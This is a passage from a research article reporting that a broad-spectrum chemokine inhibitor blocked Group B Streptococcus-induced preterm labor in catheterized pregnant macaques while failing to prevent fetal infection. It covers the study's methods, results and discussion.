We used a chronically catheterized pregnant NHP (*Macaca nemestrina*) model, in which we surgically implanted catheters via laparotomy into the maternal femoral vein, amniotic cavity, and choriodecidual interface in the lower uterine segment (between uterine muscle and fetal membranes, external to amniotic fluid). For inducing PTL, we used a hyperhemolytic and hyperpigmented GBS strain (GBS COH1Δ*covR*), lacking the hemolysin repressor CovR, which is associated with PTL ([@B63], [@B75]). In this study, animals received choriodecidual infusions of GBS COH1Δ*covR* with pre-treatment and daily infusions of a BSCI (*N* = 4; 10 mg/kg intravenous and 10 mg/kg intra-amniotic). These results were compared to two other groups of animals receiving either a choriodecidual inoculation of GBS COH1Δ*covR* (*N* = 5; hypervirulent, hyperpigmented strain, 1--5 × 10^8^ CFU/ml) or saline (*N* = 6). The GBS COH1Δ*covR* (*N* = 5) and some of the saline control (*N* = 4) experiments were performed and published previously ([@B19], [@B72], [@B73]). Other saline control experiments (*N* = 2) were performed as part of this study.
Our chronically catheterized NHP model has been previously described ([@B75]). Briefly, between days 114--125 of pregnancy (term = 172 days), catheters were surgically implanted via laparotomy into the maternal femoral artery and vein, amniotic cavity, and choriodecidual interface in the lower uterine segment (between uterine muscle and fetal membranes, external to the amniotic cavity). After surgery, the animal was placed in the jacket and tether with catheters tracked through the tether system. Cefazolin, indomethacin and either terbutaline sulfate or atosiban were administered to reduce postoperative infection risk and uterine activity, but stopped at least 72 h before experimental start (\~5 half-lives for terbutaline, 40 half-lives for cefazolin, \>97% of both drugs eliminated). Experiments began \~2 weeks after catheterization surgery to allow recovery (\~30--31 weeks human gestation). Intra-amniotic pressure was continuously recorded, digitized, and analyzed using custom software. The integrated area under the intrauterine pressure curve was used as a quantitative measure of uterine activity and reported as the hourly contraction area (HCA; mmHg-s/h) over 24 h.
PTL and Cesarean Section
------------------------
PTL was defined as progressive cervical dilation associated with increased uterine activity (\>10,000 mmHg-s/h). Cesarean section was performed at the following endpoints to allow for tissue collection: (1) PTL, (2) 3 days after GBS inoculation if no PTL was observed, or (3) 7 days after saline inoculation ([@B72]). A 3-day endpoint to assess the effects of GBS on placental tissues and fetal injury was chosen in order to study the earliest events in the pathway of infection/inflammation associated preterm birth. The 7-day endpoint for saline controls was chosen at the inception of our research program and provides a close gestational age match for the current study. After Cesarean section, fetuses were euthanized by barbiturate overdose followed by exsanguination and fetal necropsy.
BSCI
----
The BSCI (FX125L) was obtained as a gift from Dr. David Fox at the University of Warwick. A dose of 10 mg/kg, administered both intra-amniotically and intravenously, was chosen based on murine studies showing efficacy with an equivalent dose for the inhibition of LPS-induced PTL ([@B55]). The first infusion of BSCI was administered 24 h before GBS inoculation. The second infusion was given \~1 h prior to GBS inoculation. Subsequently, BSCI infusions were administered daily until Cesarean section.
Bacterial Growth and Confirmation of GBS From Infected Animals
--------------------------------------------------------------
GBS strains used in this study were derived from a clinical isolate known as COH-1 (ST-17 clone, capsular serotype III), which was obtained from an infected newborn ([@B78], [@B79]). The hyperhemolytic and hyperpigmented Δ*covR* was derived from wild type (WT) GBS COH-1 ([@B63]) was previously tested in our NHP model ([@B75]). Routine cultures of GBS were grown in tryptic soy broth (TSB) or tryptic soy agar (TSA, Difco Laboratories) at 37°C in 5% CO~2~. For inoculations in the NHP model, GBS strains were grown to mid-log phase (O.D~600~ = 0.3) and \~1--5 × 10^8^ CFU in 1 mL PBS was inoculated into the choriodecidual space, as described previously ([@B72]). For bacterial enumeration, amniotic fluid (100 μL) was serially diluted and 10-fold dilutions were plated on TSA, incubated overnight at 37°C, 5% CO~2~ and enumerated to determine bacterial invasion. Quantities of GBS were reported as colony forming units (CFU).
To confirm that bacteria recovered from infected animals was GBS, we took advantage of the fact that the hyperpigmented GBSΔ*covR* strain exhibits an orange color on TSA ([@B63]). We also tested for CAMP factor activity on sheep blood agar plates with the inoculum strain included in parallel. PCR and DNA sequencing for 16S ribosomal RNA was performed as needed. These tests confirmed that GBS did not change phenotype during the course of the experiment.
NHP Sample Collection
---------------------
Amniotic fluid (AF) and maternal blood were sampled frequently i.e., before (−24 and −0.25 h) and after pathogen inoculation (+0.75, +6, +12, +24 h and then every 12 h until Cesarean section for fetal necropsy) to culture for GBS and assay for inflammatory mediators. At the time of Cesarean section, fetal blood was obtained. For cytokine and prostaglandin (PG) analysis, samples of amniotic fluid and blood were collected in heparin and EDTA tubes, respectively. Samples were centrifuged for 5 min at 1,200 rpm immediately after collection and the supernatant was frozen and stored at −80°C. For analysis of bacterial dissemination in fetal organs, fetal tissues were weighed at necropsy, homogenized in sterile PBS and 10-fold serial dilutions were plated on TSA and incubated overnight at 37°C, 5% CO~2~ and enumerated as described ([@B80]). For inflammatory cytokine analysis, fetal organ homogenates were diluted 1:1 in lysis buffer \[150 mM NaCl, 15 mM Tris, 1 mM MgCl~2~, 1 mM CaCl~2~, 1% Triton X-100, supplemented with Complete Mini, EDTA-free protease inhibitor cocktail (Roche)\] and incubated overnight at 4°C. Lysates were centrifuged at 4,000 rpm for 20 min at 4°C, and the supernatants were stored at −80°C or used immediately for analysis. About 100 μl of sample was used in Luminex or ELISA assays as described above.
Cytokine and Prostaglandin Analysis
-----------------------------------
Cytokines \[interleukin-1β (IL-1β), interleukin-6 (IL-6), interleukin (IL-8), and tumor necrosis factor-alpha (TNF-α)\] levels were determined using Luminex multiplex cytokine kits (Millipore, Billerica, MA) for maternal plasma, fetal plasma and AF samples. Prostaglandin E2 (PGE2) and Prostaglandin F2-alpha (PGF2α) were determined using commercially available human EIA kits (Cayman Chemical, Ann Arbor, MI). In the tissues, we quantitated cytokines using a Luminex multiplex cytokine kit designed for NHP samples covering 37 cytokines/chemokines (37-plex ProcartaPlex™ NHP panel; Thermo Fisher Scientific, Waltham, MA). Values are reported as pg/mL in the amniotic fluid and maternal and fetal plasma or pg/g in fetal tissues.
Histopathology, Immunohistochemistry and Quantitative Image Analysis
--------------------------------------------------------------------
A board-certified veterinary pathologist (A.B) peformed histopathologic examination of the fetal and placental tissues. H&E-stained, full-thickness paraffin sections (placental disc, umbilical cord, fetal membrane roll) were examined from each case to exclude inflammation, necrosis, fetal vascular thrombosis, or other histopathological findings. Chorioamnionitis was diagnosed by the presence of a neutrophilic infiltrate at the chorion-decidua junction (mild) or amniochorion junction (moderate or severe). For histologic examination of the fetal lung, two to three randomly selected fixed fetal lung tissues were embedded in paraffin and sections stained with hematoxylin and eosin (H&E). We also performed immunostaining for myeloperoxidase (MPO, granulocyte marker) and CD68 (macrophage marker) on the chorioamniotic membranes and fetal lung tissues. For the chorioamniotic membrane analyses, we included an additional two controls ([@B81]).
The University of Washington Histology and Imaging Core performed the immunohistochemistry optimization and staining for MPO and CD68. We used the following primary, secondary and tertiary antibodies: rabbit polyclonal MPO (Clone Ab-1, ThermoScientific, Catalog Number RB-373-A1), mouse monoclonal CD68 (Clone 514H12, Leica, Catalog Number PA0273), Leica Post-Primary linker and goat anti-rabbit horseradish peroxidase polymerized antibody (Leica Catalog Number DS9800). Utilizing the Leica Bond Rx Automated Immunostainer (Leica Microsystems, Buffalo Grove, IL), slides were first deparaffinized with Leica Dewax Solution at 72°C for 30 s. For MPO staining, antigen retrieval was heat-mediated using citrate, pH 6, at 100°C for 20 min. For CD68 staining, antigen retrieval was performed with EDTA, pH 9, at 100°C for 20 min. All subsequent steps were at room temperature. Blocking was performed with 10% normal goat serum (Jackson ImmunoResearch, Catalog Number 005-000-121) in tris-buffered saline for 20 min followed by blocking with Leica Bond Peroxide Block for 5 min. Slides were then incubated with either the MPO (1:100) primary antibody in Leica Primary Antibody Diluent or CD68 (no dilution) primary antibody for 30 min. For MPO, a secondary antibody (goat anti-rabbit horseradish peroxidase polymerized antibody) was applied for 8 min. For CD68, the Leica Post-Primary linker was applied for 8 min and tissues were then incubated with a tertiary antibody (goat anti-rabbit horseradish peroxidase polymerized antibody) for 8 min. Antibody complexes were visualized using DAB (3,3′-diaminobenzidine), detection 2 × for 10 min. Tissues were counterstained with hematoxylin. Slides were removed from the automated stainer, dehydrated and coverslipped. Unless otherwise specified all reagents were obtained from Leica Microsystems. Quantitative imaging was the performed using Visiopharm image analysis software (Visiopharm, Inc., Hoersholm, Denmark). Regions of interest within each tissue were outlined corresponding to the amnion, chorion and decidua within the chorioamniotic membranes and alveoli within the fetal lung. The ratio of the immunostained area of tissue to the area of the entire tissue within the region of interest was calculated and compared across groups using one-way ANOVA with adjustment for multiple comparisons using Tukey\'s test.
NET Immunostaining
------------------
We performed immunostaning as previously described ([@B75]). Briefly, full thickness paraffin sections of fetal roll were deparaffinized and epitopes were revived overnight at 60°C in citrate buffer (10 mM sodium citrate, 0.05% Tween 20, pH 6.0). After epitope revival, slides were washed, blocked for 1 h at 23°C in 5% (v/v) goat serum and 1% (w/v) BSA, then incubated overnight at 4°C with rabbit anti-neutrophil elastase antibody (1:2000, Abcam).Anti-neutrophil elastase antibody was detected using anti-rabbit IgG antibody conjugated to Cy3 (1:2500, Abcam). Extracellular and nuclear DNA was detected using DAPI (4′,6-diamidino-2-phenylindole) in Vectashield (Vector Laboratories). Images were captured using a DM4000B Fluorescent upright microscope (Leica) under 20 × magnifications. The microscope was attached to a DFC310FX camera (Leica) and the acquisition software used was the Leica application suite (version 4.0.0).
Isolation of Neutrophils From Adult Human Blood
-----------------------------------------------
Neutrophils were isolated from fresh human adult blood as described ([@B75]). Briefly, \~20--30 mL of blood was collected from independent healthy human donors in EDTA tubes (BD Bioscience). Neutrophils were then isolated using a MACSxpress neutrophil isolation kit following manufacturer\'s instructions (Miltenyi Biotec). Following neutrophil isolation, the cells were pelleted and any residual red blood cells (RBC) were removed using the RBC lysis solution (0.15 nM NH~4~Cl, 1 mM NaHCO~3~) as per manufacturer\'s instructions. Cells were then washed with RPMI 1640 containing L-glutamine (Corning Cellgro; hereafter referred to as RPMI-G). Cells were counted and resuspended at appropriate concentrations in assay-specific buffers.
Neutrophil Killing Assays
-------------------------
Neutrophils isolated as described above were washed in RPMI-G. GBS were grown to early log phase (OD~600~ = 0.3) in TSB (Tryptic Soy Broth) and washed twice with PBS. Approximately 2.2 × 10^4^ neutrophils were incubated with GBSΔ*covR* at an MOI of 10 in RPMI-G in the presence and absence of 100 μg BSCI in nuclease-free water (Ambion Nuclease-Free Water; hereafter referred to as NFW). After 1 h of incubation at 37°C, Triton X-100 was added at a final concentration of 0.025% to release intracellular bacteria, and total bacteria (intracellular and extracellular bacteria) were enumerated by serial dilution and plating. The survival index was calculated as the ratio of CFU recovered in the presence of neutrophils to CFU recovered in the absence of neutrophils. Data shown are representative of two independent experiments with neutrophils isolated from three different donors in each experiment, which was performed in duplicate.
Neutrophil Reactive Oxygen Species (ROS) Assays
-----------------------------------------------
ROS production in neutrophils was measured as described previously ([@B75]). Briefly, human neutrophils were isolated as described above and washed in RPMI-G. GBS were grown to early log phase (OD~600~ = 0.3) in TSB and washed twice with PBS. Neutrophils were resuspended in HBSS (Corning) and incubated with 84 μM dihydrorhodamine123 (DHR123) for 30 min at 37°C. Approximately 5 × 10^5^ DHR123-pre-treated neutrophils were incubated with either GBSΔcovR at an MOI of 100 in PBS in the presence and absence of 100 μg BSCI in NFW. Controls included neutrophils (cells only) and neutrophils treated only with BSCI. At various times post incubation (0, 60 min) at 37°C, cells were analyzed on a LSR II flow cytometer to determine oxidation to fluorescent mono-hydrorhodamine 123 (MHR).
Statistical Analysis
--------------------
The primary study outcome was PTL, which was hypothesized to be inhibited by pre-treatment with the BSCI. Secondary outcomes were rates of MIAC, fetal sepsis, and adverse pregnancy outcomes (composite of PTL and MIAC/fetal sepsis). Other secondary outcomes included quantities of uterine activity (peak mean daily hourly contraction area), GBS in the amniotic fluid and fetus (CFU), amniotic fluid cytokines and prostaglandins (PGE2, PGF2α), and the myeloperoxidase (MPO; neutrophil marker) and CD68 (macrophage marker) immunohistochemical staining area within the amnion, chorion, decidua and fetal lung. Outcomes were compared using the Fisher\'s exact test (categorical variables), Wilcoxon rank sum (continuous variables) as appropriate. We pre-specified two comparisons of interest (1) Saline group vs. BSCI and (2) GBS vs. BSCI. We did not adjust our *p*-values *post-hoc* due to the small sample size. Statistical analysis was performed using GraphPad Prism version 8.0 (GraphPad Software, [www.graphpad.com](http://www.graphpad.com)) or STATA/IC 14.2 (StataCorp LLC, College Station, TX). Results were considered significant if the *p*-value was ≤ 0.05. However, due to the limited number of samples per group, we also report trends (*p*-values between 0.05 and 0.1) as described previously with NHP experiments ([@B82]).
Results {#s3}
=======
BSCI Prevents PTL, but Not MIAC or Fetal Sepsis During GBS Infection
--------------------------------------------------------------------
We tested whether pre-treatment with a BSCI might suppress GBS-associated PTL and allow for bacterial resolution in a chronically catheterized pregnant NHP model. In our saline controls (*N* = 7), there were no cases of PTL by 7 days post-inoculation ([Figure 1A](#F1){ref-type="fig"}; [Table 1](#T1){ref-type="table"}). As we previously reported, choriodecidual inoculation of GBS alone induced PTL in 4 of 5 cases (80%) by 3 days post-inoculation ([Figure 1B](#F1){ref-type="fig"}) ([@B75]). In contrast, PTL did not occur in any cases inoculated with GBS and treated with the BSCI within this time-frame (0/4, 0%; *p* = 0.02; [Figure 1C](#F1){ref-type="fig"}). Two BSCI animals were delivered 1 day early due to discoloration of the amniotic fluid indicating a significant bacterial burden, which was a pre-defined study endpoint to avoid stillbirth. In one case, clinical microbiological methods to identify bacteria recovered from the amniotic fluid, revealed that contaminating bacteria (*Staphylococcus epidermidis*) was present in one BSCI case prior to GBS inoculation (BSCI case 2, [Table 2](#T2){ref-type="table"}). We chose to include this case, because it represented a further test of the ability of the BSCI to inhibit microbial-infection associated PTL and biased our study toward the null hypothesis. Notably, despite the presence of at least two different bacterial strains in BSCI case 2, PTL did not occur.
{#F1}
######
Summary of pregnancy outcomes, uterine activity, cytokines, and prostaglandins.
**Outcome or cytokine** **Saline (*N* = 6)** **GBS (*N* = 5)** **BSCI+GBS (*N* = 4)** ***P*****-value**
--------------------------------------------------------- ---------------------- ------------------- ------------------------ -------------------------------------- ---------------------------------------
**MATERNAL AND FETAL OUTCOMES**
PTL 0 (0%) 4 (80%) 0 (0%) NS 0.02
MIAC 0 (0%) 3 (60%) 4 (100%) 0.005[\*](#TN2){ref-type="table-fn"} NS
Fetal Bacteremia 0 (0%) 3 (60%) 4 (100%) 0.005[\*](#TN2){ref-type="table-fn"} NS
Adverse outcomes[^‡^](#TN1){ref-type="table-fn"} 0 (0%) 5 (100%) 4 (100%) 0.005[\*](#TN2){ref-type="table-fn"} NS
**UTERINE CONTRACTILITY**
Peak Mean HCA (mm Hg∙s/h) 1,327 (507) 4,008 (763) 3,654 (964) 0.06 NS
Final HCA (mm Hg∙s/h) 607 (434) 3,843 (847) 2,427 (1,189) 0.06 NS
**AMNIOTIC FLUID CYTOKINES AND PROSTAGLANDINS (ng/mL)**
IL-1β 0.03 (0.02) 5.1 (3.1) 5.8 (2.1) 0.01[\*](#TN2){ref-type="table-fn"} NS
TNF-α 0.03 (0.01) 2.0 (1.2) 1.0 (0.2) 0.01[\*](#TN2){ref-type="table-fn"} NS
IL-6 7.1 (2.6) 22.7 (1.5) 11.8 (7.6) NS NS
IL-8 0.9 (0.3) 15.7 (4.2) 3.6 (1.6) 0.06 0.03[\*](#TN2){ref-type="table-fn"}
PGE2α 0.5 (0.2) 4.5 (4.1) 3.7 (1.3) 0.03[\*](#TN2){ref-type="table-fn"} NS
PGF2α 0.4 (0.2) 98.5 (98.0) 1.6 (0.8) NS NS
**FETAL CYTOKINES (pg/mL)**
IL-1β 0.9 (0.6) 42.3 (23.2) 3.6 (1.0) 0.02[\*](#TN2){ref-type="table-fn"} 0.05
TNF-α 2.3 (1.1) 7.8 (0.8) 3.2 (1.8) NS \<0.05[\*](#TN2){ref-type="table-fn"}
IL-6 3.6 (1.9) 675.3 (413.0) 241.8 (218.0) 0.01[\*](#TN2){ref-type="table-fn"} NS
IL-8 574 (314) 4,721.7 (1745.0) 1,098.4 (885.0) NS 0.09
*BSCI, broad spectrum chemokine inhibitor; GBS, Group B Streptococcus; HCA, hourly contraction area; IL, interleukin; PTL, preterm labor; MIAC, Microbial invasion of the amniotic cavity; PGE2, prostaglandin E2; PGF2α, prostaglandin F2 alpha; TNF-α, tumor necrosis factor alpha*.
*Adverse outcomes represent PTL and/or MIAC*.
*Maternal and fetal outcomes are shown as number (%) and are compared using Fisher\'s exact test. Amniotic fluid cytokines and prostaglandins are shown as mean peak (standard error of the mean) in ng/mL. Fetal plasma cytokines (pg/mL) represent the mean quantity at delivery (GBS and BSCI+GBS) or at their peak (saline controls) with standard error of the mean shown in parentheses. Cytokines and prostaglandins are compared between the saline and BSCI+GBS group and the GBS and BSCI+GBS group*.
*P \< 0.05 are considered significant, but p ≤ 0.1 are shown due to the small sample size*.
######
Primary outcomes and time course for MIAC and delivery by animal.
**Animal** **MIAC and fetal sepsis** **Timepoint[^\*^](#TN3){ref-type="table-fn"} when GBS first detected in AF** **PTL** **Days from inoculation[^\*\*^](#TN4){ref-type="table-fn"} to delivery** **Notes and figure correspondence**
------------ --------------------------- ------------------------------------------------------------------------------ --------- -------------------------------------------------------------------------- -------------------------------------------------------------------------------------
Saline 1 N/A N/A N/A 7
Saline 2 N/A N/A N/A 7
Saline 3 N/A N/A N/A 7
Saline 4 N/A N/A N/A 7 [Figure 1A](#F1){ref-type="fig"}
Saline 5 N/A N/A N/A 7
Saline 6 N/A N/A N/A 7
GBS 1 Yes 0.25 h Yes 0.3 (7 h)
GBS 2 Yes 0.75 h Yes 1 [Figure 1B](#F1){ref-type="fig"}
GBS 3 Yes 12 h No 2 AF brown and cloudy, but no PTL. Delivered due to concern for impending stillbirth.
GBS 4 No N/A Yes 3 Lowest GBS inoculum (5 × 10^7^ CFU)
GBS 5 No N/A Yes 1
BSCI+GBS 1 Yes 6 h No 2 AF brown and cloudy
BSCI+GBS 2 Yes Non-GBS contaminant detected at −1 h No 2 AF brown and cloudy; also had a non-GBS contaminant
BSCI+GBS 3 Yes 6 h No 3 [Figure 1C](#F1){ref-type="fig"}
BSCI+GBS 4 Yes 6 h No 3
PTL, preterm labor; MIAC, microbial invasion of the amniotic cavity; AF, amniotic fluid.
*Indicates the first time point when GBS was cultured from amniotic fluid. For example, a positive value at 6 h indicates that bacterial trafficking occurred sometime between 45 min and 6 h*.
*The day of inoculation is considered day 0*.
Analysis of the uterine contraction pattern revealed that GBS inoculation alone resulted in a building contraction pattern within 6 h of inoculation that typically culminated in PTL. In contrast, BSCI prophylaxis was associated with a transient increase in uterine activity following GBS inoculation that decreased over time, but did not result in cervical change or PTL. A quantitative analysis of peak mean uterine contraction strength and frequency (hourly contraction area, HCA) revealed that BSCI+GBS and GBS groups had similar peak mean HCA ([Table 1](#T1){ref-type="table"}); however, at the end of the experiment, uterine contractility was lower in the BSCI+GBS compared to the GBS group ([Table 1](#T1){ref-type="table"}). Overall, BSCI prophylaxis was associated with inhibition of PTL by 3 days post-GBS inoculation compared to GBS alone.
Next, we sought to determine whether BSCI administration can prevent MIAC and fetal sepsis due to GBS inoculation. Neither MIAC nor fetal sepsis occurred in the saline controls (0/6; 0%). As previously reported, choriodecidual inoculation of GBS alone frequently led to MIAC and fetal bacteremia (3/5, 60%) ([@B75]). Notably, in all cases, BSCI administration followed by GBS inoculation was associated with MIAC and/or fetal bacteremia (4/4, 100%). In contrast to our hypothesis, an increased bacterial burden in AF and fetal tissues was noted in the BSCI+GBS group ([Figure 2A](#F2){ref-type="fig"}, 10-fold median increase in AF, *p* = 0.1; [Figure 2B](#F2){ref-type="fig"}, 1,000-fold median increase in fetal blood, *p* = NS) compared to the GBS only group. In all BSCI cases, MIAC occurred by 6 h following choriodecidual GBS inoculation whereas bacteria was detected in the AF by 1 h in 2 GBS cases and in a third GBS case by 12 h post-inoculation ([Table 2](#T2){ref-type="table"}, [Figure 2](#F2){ref-type="fig"}). Taken together, these data indicate that while administration of BSCI inhibits PTL, it was associated with bacterial dissemination into the amniotic cavity and fetus.
{#F2}
BSCI Dampens IL-8 in the Maternal Plasma and AF, but Not in Fetal Plasma
------------------------------------------------------------------------
Our chronically catheterized NHP model allows for the serial sampling of amniotic fluid and maternal blood throughout the course of the experiment. We therefore examined the effect of BSCI administration on cytokine and chemokine profiles in the maternal blood, amniotic fluid and fetal blood using a luminex assay. BSCI prophylaxis was associated with lower levels of IL-8 in the maternal plasma compared to the GBS group at multiple time points throughout the experiment ([Figure 3A](#F3){ref-type="fig"}). IL-1β levels in maternal plasma were also lower in the BSCI+GBS vs. GBS group ([Figures 3B](#F3){ref-type="fig"}). IL-6 and TNF-α levels in the maternal plasma were not affected by BSCI prophylaxis ([Figures 3C,D](#F3){ref-type="fig"}). In the AF, BSCI+GBS compared to GBS group was associated with significantly lower IL-8 levels for the first 12 h of the experiment ([Figure 4A](#F4){ref-type="fig"}) and significantly lower peak mean levels compared to the GBS group (*p* = 0.03, [Table 1](#T1){ref-type="table"}); similarly, IL-6 levels were significantly lower for the first 12 h following GBS inoculation ([Figure 4C](#F4){ref-type="fig"}). Levels of AF IL-1β and TNF-α ([Figures 4B,D](#F4){ref-type="fig"}) and AF prostaglandin E2 and F2α ([Figure 5](#F5){ref-type="fig"}) were unaffected by BSCI treatment. In fetal plasma from the BSCI+GBS compared to the GBS group, the peak mean levels of many cytokines were lower including TNF-α (*p* \< 0.05), IL-1β (*p* = 0.05), and IL-8 (*p* = 0.09; [Table 1](#T1){ref-type="table"}). Levels of fetal plasma IL-6 were similar between the GBS and BSCI+GBS groups.
{#F3}
{#F4}
{#F5}
BSCI Diminished Fetal Chemokines and Cytokines in Tissues but did Not Prevent Bacterial Dissemination
-----------------------------------------------------------------------------------------------------
We next asked whether tissue levels of chemokines and cytokines were altered as a result of fetal exposure to the BSCI and focused investigation on the fetal lungs, brain and chorioamniotic membranes at the GBS inoculation site. BSCI prophylaxis was associated with a significantly lower level of IL-7 and IFN-α in the fetal lung ([Figure 6A](#F6){ref-type="fig"}, *p* = 0.02 for both) and significantly lower IL-2, IL-7, and IL-18 in the fetal brain ([Figure 6B](#F6){ref-type="fig"}; *p* = 0.02 for IL-2 and IL-18; *p* = 0.03 for IL-7) compared to GBS alone. Notably, statistical power was limited for these comparisons as we had fewer chorioamniotic membrane inoculation site samples available for Luminex analysis (GBS group, *N* = 3; BSCI+GBS, *N* = 4). The quantities of many other cytokines and growth factors were also lower at the GBS inoculation site within the chorioamniotic membranes with BSCI exposure compared to the GBS only group ([Figure 6C](#F6){ref-type="fig"}; IP-10, IL-7, FGF2, VEGF-A, *p* = 0.06 for all). A trend toward a lower IL-1β and I-TAC concentration at the GBS inoculation site of the chorioamniotic membranes was also observed in the BSCI+GBS group vs. GBS only ([Figure 6D](#F6){ref-type="fig"}, *p* = 0.1).
{#F6}
Diminished levels of pro-inflammatory cytokines may have an adverse effect in controlling bacterial dissemination. We also noted a trend toward a higher bacterial burden in all tissues from BSCI-treated animals compared to GBS alone, particularly in the fetal brain and at the GBS chorioamniotic membrane inoculation site ([Figure 6E](#F6){ref-type="fig"}). These data suggest that treatment with BSCI may dampen inflammatory cytokines at the cost of increased bacterial burden. This may be due partially to decreased neutrophil recruitment at the membrane inoculation site and in fetal tissues. To investigate the impact of BSCI treatment on neutrophil infiltration of the chorioamniotic membranes and fetal tissues, we compared histopathology of the membrane inoculation site and fetal lungs across the treatment groups.
BSCI Treated Animals Exhibited Increased Neutrophil and Macrophage Recruitment in the Chorioamniotic Membranes and Fetal Lungs
------------------------------------------------------------------------------------------------------------------------------
To gain further insight into the effect of BSCI on chemokine inhibition, we performed immunostaining on the chorioamniotic membranes at the GBS inoculation site ([Figures 7](#F7){ref-type="fig"}, [8](#F8){ref-type="fig"}). In the saline controls, there was minimal to no neutrophil infiltration \[[Figure 7A](#F7){ref-type="fig"}, H&E stain; [Figure 7E](#F7){ref-type="fig"}, myeloperoxidase (MPO) stain of granulocytes\] or CD68 immunostaining ([Figure 7I](#F7){ref-type="fig"}). GBS inoculation led to an accumulation of neutrophils in the decidua at 24 h post-inoculation ([Figures 7B,F](#F7){ref-type="fig"}) and throughout the chorioamniotic membranes by 48 h ([Figures 7C,G](#F7){ref-type="fig"}). Albeit unexpected, we observed that inhibition of chemokines by BSCI did not significantly dampen neutrophil migration into the chorioamnion. Rather, increased neutrophil migration was observed in the BSCI+GBS group when compared to the GBS group ([Figures 7D,H](#F7){ref-type="fig"}), which may in part reflect the longer latency until delivery in the BSCI+GBS group as these animals did not develop PTL. Quantitation of the immunostained regions of the membranes revealed a significantly higher area of MPO+ stained cells in the amnion and chorion, but not the decidua, in the BSCI+GBS compared to the GBS only group ([Figures 8A--C](#F8){ref-type="fig"}). CD68 immunostaining was similar across groups in the amnion, chorion and decidua ([Figures 8D--F](#F8){ref-type="fig"}); although CD68 immunostaining in the decidua appeared greater in the BSCI vs. GBS and saline groups ([Figures 7I--L](#F7){ref-type="fig"}), this was not significant and driven mainly by staining in 2 of the 4 BSCI cases ([Figure 8F](#F8){ref-type="fig"}). These results suggest that although BSCI dampened the levels of certain chemokines, this did not impact neutrophil recruitment into the membranes. Despite the increase in neutrophil recruitment, BSCI was also unable to limit bacterial invasion of the amniotic cavity and fetal organs.
{#F7}
![Quantitation of immunostaining for MPO and CD68 in the chorioamniotic membranes. The area of immunostaining for MPO **(A--C)** and CD68 **(D--F)** are shown in the amnion **(A,D)**, chorion **(B,E)**, and decidua **(C,F)**. The area of MPO immunostaining in the BSCI vs. GBS alone group was significantly greater in the amnion **(A)** and chorion **(B)**, but not decidua. No significant differences were observed in the area of CD68 immunostaining between the BSCI and GBS alone groups in the chorioamniotic membranes. The outlier in the saline group in **(D,F)** was a newer saline control performed as part of this study and the next two highest controls were previously published ([@B72]). \**p* \< 0.05, \*\**p* \< 0.01, \*\*\**p* \< 0.001, one-way ANOVA with Tukey\'s *post-hoc* correction.](fimmu-11-00770-g0008){#F8}
We also investigated the effect of BSCI exposure on the fetal lungs ([Figures 9A--D](#F3){ref-type="fig"}), which are in direct contact with the amniotic fluid, a site of BSCI inoculation. Recruitment of neutrophils and CD68+ cells into the fetal lungs followed a similar pattern as in the chorioamniotic membranes with a significantly increased immunostaining area of MPO+ cells in the BSCI+GBS group ([Figures 9H,10A](#F9){ref-type="fig"}) vs. GBS alone ([Figures 9F,G](#F9){ref-type="fig"}, [10A](#F10){ref-type="fig"}) or saline ([Figures 9E](#F9){ref-type="fig"}, [10A](#F10){ref-type="fig"}). There was no change in the area of CD68 immunostaining in the BSCI compared to either the GBS or saline groups ([Figures 9I--L](#F9){ref-type="fig"}, **10B**). Notably, the GBS bacterial burden in the fetal lungs was similar or higher in the BSCI+GBS group compared to the GBS group ([Figure 6E](#F6){ref-type="fig"}). Therefore, increased neutrophil recruitment was not effective in reducing the GBS burden within the fetal lung at 3 days post-inoculation suggesting either ineffective bacterial killing or insufficient time for neutrophils to clear bacteria by the study endpoint.
{#F9}
{#F10}
BSCI did Not Impact Neutrophil Function
---------------------------------------
Our previous studies indicate that the GBS strain, used in this study, induced the formation of neutrophil extracelluar traps (NET) ([@B75]). Extracellular release of neutrophil contents such as neutrophil elastase and DNA has been associated with formation of NETS and bacterial entrapment ([@B83], [@B84]). Co-localization of neutrophil elastase and DNA in the chorioamnion of GBS infected animals previously revealed the presence of NETs ([@B75]). Therefore, we examined whether BSCI impacted formation of NETs induced by choriodecidual GBS infection ([Figure 11](#F11){ref-type="fig"}). We used human adult neutrophils as a model for how BSCI might impact maternal and fetal neutrophils. Immunofluorescence staining for neutrophil elastase indicates that while NET formation is seen in the GBS infected animals, there was no difference in NET staining density in the chorioamniotic membranes of the BSCI+GBS and GBS only groups ([Figure 11](#F11){ref-type="fig"}).
{#F11}
We also tested whether neutrophil function was impaired in the context of BSCI treatment. To measure production of reactive oxygen species (ROS), human adult neutrophils were pre-treated with di-hydro-rhodamine 123 (DHR) before exposure to GBS. In the presence of ROS, DHR is oxidized to mono-hydro-rhodamine (MHR) which can be quantitated using flow cytometry. The number of ROS positive cells was not significantly different between neutrophils exposed to GBS vs. neutrophils exposed to GBS and BSCI ([Figures 12A,B](#F12){ref-type="fig"}). Finally, GBS survival in the presence of adult human neutrophils was not significantly different as a result of BSCI exposure ([Figure 12C](#F12){ref-type="fig"}). Together, these data suggest that the increased bacterial burden observed in the BSCI treated animals was not due to a BSCI-mediated suppression of neutrophil function or bacterial killing, but may reflect a generalized impairment of the innate immune response and/or insufficient time to clear a rapidly progressing bacterial infection.
{#F12}
Discussion {#s4}
==========
In this study, our primary objective was to determine if the BSCI could inhibit PTL and whether there was a beneficial or detrimental effect on bacterial trafficking in the amniotic cavity. Our results demonstrate that administration of a BSCI during an invasive microbial infection, led to the powerful suppression of uterine activity and a complete blockade of PTL at 3 days post-inoculation. Although the inhibition of PTL was remarkable, BSCI did not prevent bacterial trafficking to the amniotic cavity and fetal infection. The simultaneous progression of infection into the fetal compartment represents a serious adverse outcome for the pregnancy. Fetal bacteremia occurred in all of the experiments involving BSCI treatment, compared to only 20% of animals receiving GBS alone. In the BSCI+GBS group, there was a significant reduction in IL-8 in the maternal blood and amniotic fluid compared to the GBS only group; many other cytokines (e.g., IL-6, IL-1β, IL-7) were reduced in either the fetal plasma, lung, or brain compared to GBS alone. Although one might expect a reduction in neutrophilic infiltration due to the BSCI, there was a significantly greater quantity of neutrophils in the chorioamniotic membranes and fetal lungs of the BSCI animals compared to the GBS only group. Overall, the lack of uterine contractile activity in the BSCI+GBS group was remarkable, particularly in the context of the significant infectious burden in the chorioamniotic membranes, amniotic fluid, and fetal compartment.
